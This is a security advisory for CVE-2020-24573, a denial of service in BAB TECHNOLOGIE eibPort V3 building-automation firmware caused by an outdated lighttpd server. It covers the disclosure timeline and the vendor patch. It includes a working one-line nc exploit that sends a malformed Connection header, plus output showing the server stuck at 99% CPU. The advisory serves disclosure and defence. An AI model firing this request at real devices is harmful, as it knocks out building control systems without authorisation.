CVE-2020-24573 BAB TECHNOLOGIE GmbH eibPort V3 prior version 3.8.3 Denial of Service

Overview

- CVE: CVE-2020-24573
- Author: psytester
- Title: BAB TECHNOLOGIE GmbH eibPort V3 prior version 3.8.3 Denial of Service
- Vulnerability Type: CWE-400 Uncontrolled Resource Consumption
- CVSSv3 Base Score: 7.5
- CVSSv3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Publishing Date: 11.11.2020
- Updated: 16.03.2021
- Vendor: BAB TECHNOLOGIE GmbH
- Product: eibPort V3
- Vendor contacted: 12.08.2020
- Vendor confirmation: 27.08.2020
- Vendor patch: 3.8.3 since November 2020, lighttpd was updated to 1.4.55
- Vendor Reference: N.A.
- Affected Firmware version: 3.8.2 and before

Background

From vendor’s website:
The EIBPORT connects KNX or EnOcean building control with the IP world.
[…]
Whether simple or complex – use over 50 integrated services for almost all automation tasks in building automation. Program your own control sequences with the graphical LOGIKEDITOR or integrate third-party applications such as Amazon® Alexa. […]
Via a secure connection, you can also control and maintain the EIBPORT remotely. […]
On request, the EIBPORT also functions as an IP router in the KNX installation and as a programming interface to the ETS.
[…]

Issue Description

Connecting to eibPort URL shows HTTP header `Server: lighttpd/1.4.31`

After a search for already known CVE entries, the lighttpd process proved to be susceptible because of CVE-2012-5533.

This vulnerability can be exploited by unauthenticated attackers with access to the web interface:

```
echo -ne "GET / HTTP/1.1\r\nHost: 1.2.3.4\r\nConnection: TC,,Keep-Alive\r\n\r\n" | nc 1.2.3.4 80
```

After that the lighttpd is permanently in 99% CPU load and the eibPort does not react anymore, because the resources are used up:

```
PID  PPID USER     STAT   VSZ %VSZ %CPU COMMAND
  321     1 root     R     5548   2%  99% /usr/sbin/lighttpd -f /etc/lighttpd/lighttpd.conf
```

Just a restart of lighttpd process seems to be not enough to fix the overload condition, a reboot is required.

CVE

CVE-2020-24573

CVSSv3 Base Score

CVSSv3 Base Score: 7.5

CVSSv3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Credit

All researchers.
cvedetails for scanning and preparing all CVEs, separated by vendor and product.
me, but I simply scanned known CVEs to use them and lighttpd/1.4.31 is a low hanging fruit in IoT devices.

Disclaimer

The information provided is released “as is” without warranty of any kind. The publisher disclaims all warranties, either express or implied, including all warranties of merchantability. No responsibility is taken for the correctness of this information. In no event shall the publisher be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if the publisher has been advised of the possibility of such damages.

Written on August 20, 2020 | Last modified on March 16, 2021